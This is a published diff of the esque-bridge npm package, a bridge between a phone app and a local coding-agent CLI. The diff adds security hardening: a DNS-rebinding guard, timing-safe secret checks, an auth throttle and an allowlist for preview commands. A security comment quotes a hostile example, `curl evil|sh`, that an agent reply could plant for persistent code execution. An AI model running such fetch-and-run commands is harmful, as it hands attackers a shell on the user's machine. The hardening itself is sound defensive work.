esque-bridge 0.6.12 → 0.6.14

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +184 -20
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -116,6 +116,9 @@ function resolvePairingSecret() {
116
116
  const secret = gen();
117
117
  try {
118
118
  fs.writeFileSync(SECRET_FILE, secret, { mode: 0o600 });
119
+ // Re-assert perms explicitly (writeFileSync mode is masked by umask, and a
120
+ // pre-existing file keeps its old perms) — this is an RCE-grade secret.
121
+ try { fs.chmodSync(SECRET_FILE, 0o600); } catch { /* best effort */ }
119
122
  } catch (err) {
120
123
  console.warn(
121
124
  `[esque-bridge] could not persist pair secret to ${SECRET_FILE} ` +
@@ -188,6 +191,47 @@ function clearCliSessionId(agent, esqueSessionId) {
188
191
  saveSessions();
189
192
  }
190
193
 
194
+ // --- Handoff log ----------------------------------------------------------
195
+ // A running, on-disk record of each turn (prompt + what the agent did), kept in
196
+ // the project folder. Its whole purpose is to survive a lost CLI session: if
197
+ // the agent's conversation memory is ever GC'd, the fresh session is told to
198
+ // read this file and recover the project's context — so a memory reset doesn't
199
+ // mean starting from zero. Best-effort; bounded so it stays readable.
200
+ const HANDOFF_MAX = 48 * 1024;
201
+ function handoffRel(esqueSessionId) {
202
+ const short = String(esqueSessionId || 'default').replace(/[^a-zA-Z0-9_-]/g, '').slice(0, 16) || 'default';
203
+ return `.esque/handoff-${short}.md`;
204
+ }
205
+ function handoffPath(esqueSessionId) {
206
+ return path.join(WORKDIR, handoffRel(esqueSessionId));
207
+ }
208
+ function appendHandoff(esqueSessionId, prompt, replyText) {
209
+ if (!esqueSessionId) return;
210
+ try {
211
+ fs.mkdirSync(path.join(WORKDIR, '.esque'), { recursive: true });
212
+ const file = handoffPath(esqueSessionId);
213
+ const header = fs.existsSync(file)
214
+ ? ''
215
+ : "# Esque handoff log\n\n> A running record of this project's work so your AI agent can recover context if its session is ever reset. Safe to delete (or add `.esque/` to .gitignore).\n\n";
216
+ const reply = String(replyText || '').trim().replace(/\n{3,}/g, '\n\n').slice(0, 1200);
217
+ const stamp = new Date().toISOString();
218
+ fs.appendFileSync(
219
+ file,
220
+ `${header}## ${stamp}\n\n**Prompt:** ${String(prompt || '').slice(0, 600)}\n\n**Agent:** ${reply || '(no output)'}\n\n---\n\n`,
221
+ );
222
+ // Keep it bounded: on overflow, retain the most recent entries (trim to a
223
+ // clean entry boundary so the recovered context reads cleanly).
224
+ const buf = fs.readFileSync(file, 'utf8');
225
+ if (buf.length > HANDOFF_MAX) {
226
+ const tail = buf.slice(buf.length - HANDOFF_MAX);
227
+ const cut = tail.indexOf('\n## ');
228
+ fs.writeFileSync(file, '# Esque handoff log (older entries trimmed)\n\n' + (cut >= 0 ? tail.slice(cut + 1) : tail));
229
+ }
230
+ } catch {
231
+ /* best-effort — never let handoff bookkeeping break a turn */
232
+ }
233
+ }
234
+
191
235
  // --- Adapters -------------------------------------------------------------
192
236
  // Each adapter describes how to invoke a CLI for a single prompt. The
193
237
  // runner is identical across adapters; only argv-building and stdout
@@ -539,7 +583,23 @@ async function runAgentResilient(prompt, esqueSessionId) {
539
583
  if (prevId && RESUME_FAIL_RE.test(String(err && err.message))) {
540
584
  console.warn('[bridge] stored CLI session is gone — retrying as a fresh session');
541
585
  clearCliSessionId(AGENT_TYPE, esqueSessionId);
542
- return runAgent(prompt, esqueSessionId);
586
+ // The agent lost its memory. If we've been keeping a handoff log, point
587
+ // the fresh session at it FIRST so it recovers the project's context
588
+ // instead of starting from zero.
589
+ let recovered = prompt;
590
+ try {
591
+ if (fs.existsSync(handoffPath(esqueSessionId))) {
592
+ recovered =
593
+ `[Esque session recovery] Your previous conversation in this project was reset and its in-memory context was lost. ` +
594
+ `BEFORE anything else, read the file \`${handoffRel(esqueSessionId)}\` in this folder — a running log of everything done in this project so far — and use it to reconstruct context. Then carry out this request:\n\n${prompt}`;
595
+ }
596
+ } catch {
597
+ /* fall back to the bare prompt */
598
+ }
599
+ const fresh = await runAgent(recovered, esqueSessionId);
600
+ // Tell the phone the agent's memory was reset (it ignores the field if
601
+ // unknown). Older bridges never set it.
602
+ return { ...fresh, sessionReset: true };
543
603
  }
544
604
  throw err;
545
605
  }
@@ -555,10 +615,77 @@ app.use((req, res, next) => {
555
615
  next();
556
616
  });
557
617
 
618
+ // The current public tunnel host, set once the pair tunnel opens (see main).
619
+ let currentTunnelHost = null;
620
+
621
+ // DNS-rebinding guard. Legit traffic arrives either at localhost (local dev) or
622
+ // via the cloudflared/localtunnel host; a malicious web page that rebinds its
623
+ // OWN domain to 127.0.0.1:<port> cannot forge a matching Host header, so this
624
+ // blocks it from reaching even the unauthenticated probes (which would
625
+ // otherwise disclose the workdir folder name etc.).
626
+ const LOCAL_HOST_RE = /^(localhost|127\.0\.0\.1|\[::1\])(:\d+)?$/i;
627
+ const TUNNEL_HOST_RE = /\.(trycloudflare\.com|loca\.lt)(:\d+)?$/i;
628
+ app.use((req, res, next) => {
629
+ const host = String(req.headers.host || '');
630
+ if (
631
+ LOCAL_HOST_RE.test(host) ||
632
+ TUNNEL_HOST_RE.test(host) ||
633
+ (currentTunnelHost && host === currentTunnelHost)
634
+ ) {
635
+ return next();
636
+ }
637
+ return res.status(403).json({ error: 'forbidden_host' });
638
+ });
639
+
640
+ // Real client IP behind the tunnel (cloudflared/localtunnel forward it) so the
641
+ // auth throttle is per-attacker, not global (which an attacker could otherwise
642
+ // abuse to lock out the legit phone).
643
+ function clientIp(req) {
644
+ return (
645
+ req.headers['cf-connecting-ip'] ||
646
+ String(req.headers['x-forwarded-for'] || '').split(',')[0].trim() ||
647
+ req.ip ||
648
+ req.socket?.remoteAddress ||
649
+ 'unknown'
650
+ );
651
+ }
652
+
653
+ // Constant-time secret check (avoid a string-compare timing side-channel — the
654
+ // secret is the only thing standing between the public tunnel and your shell).
655
+ function secretMatches(provided) {
656
+ if (typeof provided !== 'string' || provided.length === 0) return false;
657
+ const a = Buffer.from(provided);
658
+ const b = Buffer.from(PAIRING_SECRET);
659
+ return a.length === b.length && crypto.timingSafeEqual(a, b);
660
+ }
661
+
662
+ // Per-IP failed-auth throttle: 128-bit secrets are infeasible to brute force,
663
+ // but a lockout makes that hold even if the entropy ever drops, and stops a
664
+ // noisy guesser hammering the bridge.
665
+ const authFails = new Map();
666
+ const AUTH_FAIL_MAX = 20;
667
+ const AUTH_FAIL_WINDOW = 60_000;
668
+ function authThrottled(ip) {
669
+ const now = Date.now();
670
+ const e = authFails.get(ip);
671
+ return !!e && e.resetAt > now && e.n >= AUTH_FAIL_MAX;
672
+ }
673
+ function noteAuthFail(ip) {
674
+ const now = Date.now();
675
+ if (authFails.size > 5000) for (const [k, v] of authFails) if (v.resetAt <= now) authFails.delete(k);
676
+ const e = authFails.get(ip);
677
+ if (!e || e.resetAt <= now) authFails.set(ip, { n: 1, resetAt: now + AUTH_FAIL_WINDOW });
678
+ else e.n += 1;
679
+ }
680
+
558
681
  // Directory identity the app binds a project to. Lets the phone detect when a
559
- // project is being re-pointed at a DIFFERENT folder, or scaffolded fresh onto
560
- // a folder that already has files — the two silent-mismatch foot-guns.
561
- function workdirInfo() {
682
+ // project is being re-pointed at a DIFFERENT folder. UNAUTHENTICATED callers
683
+ // get only the folder NAME + versionnever the absolute path (it leaks the OS
684
+ // username) or the directory contents.
685
+ function workdirInfo(authed) {
686
+ if (!authed) {
687
+ return { workdirName: path.basename(WORKDIR), version: BRIDGE_VERSION };
688
+ }
562
689
  let empty = false;
563
690
  let git = false;
564
691
  let entries = -1;
@@ -576,42 +703,42 @@ function workdirInfo() {
576
703
  empty,
577
704
  git,
578
705
  entries,
579
- // Lets the app detect a stale bridge and say "restart your bridge"
580
- // instead of silently degrading (older bridges lack newer self-healing).
581
706
  version: BRIDGE_VERSION,
582
707
  };
583
708
  }
584
709
 
585
- // Public health probe.
710
+ // Public health probe — minimal, unauthenticated.
586
711
  app.get('/', (_req, res) => {
587
712
  res.json({
588
713
  ok: true,
589
714
  service: 'esque-bridge',
590
715
  agent: AGENT_TYPE,
591
716
  agentLabel: adapter.label,
592
- sessions: Object.keys(sessionMap[AGENT_TYPE] ?? {}).length,
593
- ...workdirInfo(),
717
+ ...workdirInfo(false),
594
718
  });
595
719
  });
596
720
 
597
- // Connection-test probe — no auth required to confirm reachability, but if
598
- // the phone includes the pair secret we validate it and report back via
599
- // `paired` so the app can verify the secret BEFORE showing a green
600
- // "Paired" state. `paired` is true (match), false (wrong/stale secret), or
601
- // null (no secret sent — older app builds; we can't say either way). We also
602
- // return workdir identity so the app can warn on a folder mismatch.
721
+ // Connection-test probe — no auth required to confirm reachability, but if the
722
+ // phone includes the pair secret we validate it and report `paired` so the app
723
+ // can verify BEFORE showing green. Full workdir identity (path, git, entries)
724
+ // is returned ONLY when the secret matches (paired === true).
603
725
  app.post('/', (req, res, next) => {
604
726
  if (req.body && req.body._probe === true) {
605
727
  const provided = req.header('x-esque-pair') || req.body?.pairSecret;
606
- const paired = provided == null ? null : provided === PAIRING_SECRET;
607
- return res.json({ ok: true, service: 'esque-bridge', agent: AGENT_TYPE, paired, ...workdirInfo() });
728
+ const paired = provided == null ? null : secretMatches(provided);
729
+ return res.json({ ok: true, service: 'esque-bridge', agent: AGENT_TYPE, paired, ...workdirInfo(paired === true) });
608
730
  }
609
731
  return next();
610
732
  });
611
733
 
612
734
  function requireAuth(req, res, next) {
735
+ const ip = clientIp(req);
736
+ if (authThrottled(ip)) {
737
+ return res.status(429).json({ text: 'Too many attempts — wait a minute and try again.', status: 'blocked' });
738
+ }
613
739
  const provided = req.header('x-esque-pair') || req.body?.pairSecret;
614
- if (provided !== PAIRING_SECRET) {
740
+ if (!secretMatches(provided)) {
741
+ noteAuthFail(ip);
615
742
  return res.status(401).json({
616
743
  text:
617
744
  'Unauthorized. Pair this bridge with your phone by scanning the QR code from the terminal where esque-bridge is running.',
@@ -644,7 +771,30 @@ let preview = null; // { port, proc, kind, url, tunnel, tunnelProc }
644
771
  // revive the dev server + mint a fresh tunnel — the phone then resolves the
645
772
  // current URL via GET /preview instead of trusting the dead one.
646
773
  const PREVIEWS_FILE = path.join(os.homedir(), '.esque-bridge-previews.json');
774
+
775
+ // SECURITY: the preview command comes from the agent's reply (the ESQUE_PREVIEW
776
+ // marker) and is run via `sh -c` — and persisted + auto-replayed on every
777
+ // restart. Without a guard, a single prompt could plant
778
+ // `ESQUE_PREVIEW: curl evil|sh` as a persistent, headless RCE. So we only ever
779
+ // run/persist a command that looks like a real dev-server start: each
780
+ // `&&`-separated step must begin with an allowlisted tool, and the whole
781
+ // string must be free of pipes, redirects, sequencing, subshells, and command
782
+ // substitution (we DO allow `&&` chaining and flags). This bounds it to the
783
+ // shapes the blueprints actually emit (npm/npx expo/next/vite) and rejects the
784
+ // arbitrary-shell case.
785
+ const PREVIEW_TOOL = /^(npm|npx|yarn|pnpm|bun|expo|next|vite|node)(\s|$)/;
786
+ function isSafePreviewCmd(cmd) {
787
+ if (typeof cmd !== 'string' || cmd.length === 0 || cmd.length > 400) return false;
788
+ if (/[\n\r;`|<>]/.test(cmd)) return false; // sequencing/pipe/redirect/backtick
789
+ if (/\$\(|\$\{/.test(cmd)) return false; // command/var substitution
790
+ if (/(^|[^&])&($|[^&])/.test(cmd)) return false; // a lone & (background); && is allowed
791
+ const steps = cmd.split('&&').map((s) => s.trim()).filter(Boolean);
792
+ if (steps.length === 0 || steps.length > 6) return false;
793
+ return steps.every((s) => PREVIEW_TOOL.test(s));
794
+ }
795
+
647
796
  function savePreviewCmd(cmd, port) {
797
+ if (!isSafePreviewCmd(cmd)) return; // never persist an un-vettable command
648
798
  try {
649
799
  let all = {};
650
800
  try { all = JSON.parse(fs.readFileSync(PREVIEWS_FILE, 'utf8')); } catch { /* first run */ }
@@ -658,7 +808,9 @@ function loadPreviewCmd() {
658
808
  try {
659
809
  const all = JSON.parse(fs.readFileSync(PREVIEWS_FILE, 'utf8'));
660
810
  const e = all[WORKDIR];
661
- if (e && typeof e.cmd === 'string' && Number.isInteger(e.port)) return e;
811
+ // Re-validate on read too a hand-edited or pre-guard previews file must
812
+ // not auto-replay something unsafe on boot.
813
+ if (e && isSafePreviewCmd(e.cmd) && Number.isInteger(e.port)) return e;
662
814
  } catch { /* none saved */ }
663
815
  return null;
664
816
  }
@@ -944,6 +1096,12 @@ async function ensureDeps() {
944
1096
 
945
1097
  async function startPreview(cmd, port) {
946
1098
  killPreview();
1099
+ // SECURITY: refuse any preview command that isn't a recognizable dev-server
1100
+ // start (see isSafePreviewCmd) — never hand arbitrary shell to `sh -c`.
1101
+ if (!isSafePreviewCmd(cmd)) {
1102
+ console.error(`[preview] refused unsafe preview command: ${String(cmd).slice(0, 120)}`);
1103
+ return { url: null, buildError: 'Esque only runs a recognized dev-server start command for the preview (npm/expo/next/vite). The requested command was refused for safety.' };
1104
+ }
947
1105
  // Make sure node_modules exists before the dev server tries to boot. A
948
1106
  // failed install IS the build error — surface the npm cause to the phone
949
1107
  // (and the auto-fix loop, which can repair package.json) instead of letting
@@ -1183,11 +1341,13 @@ async function executeHandler(req, res) {
1183
1341
  jobs.set(jobId, {
1184
1342
  status: result.isError ? 'blocked' : 'finished',
1185
1343
  text: result.text,
1344
+ sessionReset: !!result.sessionReset,
1186
1345
  createdAt: Date.now(),
1187
1346
  });
1188
1347
  console.log(
1189
1348
  `[bridge] done job=${jobId} ${result.isError ? 'blocked' : 'finished'}`,
1190
1349
  );
1350
+ if (!result.isError) appendHandoff(esqueSessionId, prompt, result.text);
1191
1351
  const ok = !result.isError;
1192
1352
  sendExpoPush(
1193
1353
  pushToken,
@@ -1234,9 +1394,11 @@ async function executeHandler(req, res) {
1234
1394
 
1235
1395
  try {
1236
1396
  const result = await enqueueRun(prompt, esqueSessionId);
1397
+ if (!result.isError) appendHandoff(esqueSessionId, prompt, result.text);
1237
1398
  finish({
1238
1399
  text: result.text,
1239
1400
  status: result.isError ? 'blocked' : 'finished',
1401
+ sessionReset: !!result.sessionReset,
1240
1402
  });
1241
1403
  } catch (err) {
1242
1404
  console.error('[bridge] error:', err.message);
@@ -1254,7 +1416,7 @@ function resultHandler(req, res) {
1254
1416
  text: 'That task is no longer available — the bridge may have restarted.',
1255
1417
  });
1256
1418
  }
1257
- res.json({ status: job.status, text: job.text });
1419
+ res.json({ status: job.status, text: job.text, sessionReset: !!job.sessionReset });
1258
1420
  }
1259
1421
 
1260
1422
  // Single-flight wrapper for reviving the saved preview: GET /preview and the
@@ -1454,6 +1616,8 @@ async function main() {
1454
1616
  if (tunnel.kind === 'localtunnel') {
1455
1617
  console.log(' (Using localtunnel — install cloudflared for a faster, steadier tunnel: brew install cloudflared)');
1456
1618
  }
1619
+ // Allow this tunnel's host through the DNS-rebinding guard.
1620
+ try { currentTunnelHost = new URL(tunnel.url).host; } catch { /* keep null */ }
1457
1621
 
1458
1622
  const pairUrl = `esque://pair?url=${encodeURIComponent(tunnel.url)}&secret=${PAIRING_SECRET}&agent=${AGENT_TYPE}`;
1459
1623
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "esque-bridge",
3
- "version": "0.6.12",
3
+ "version": "0.6.14",
4
4
  "description": "Desktop-side receiver for the Esque Agent mobile app. Pairs your phone with a local coding-agent CLI (Claude Code, Codex, Aider, or any custom command) via a tunnel + QR code, so prompts run through your subscription instead of per-token API billing.",
5
5
  "bin": {
6
6
  "esque-bridge": "index.js"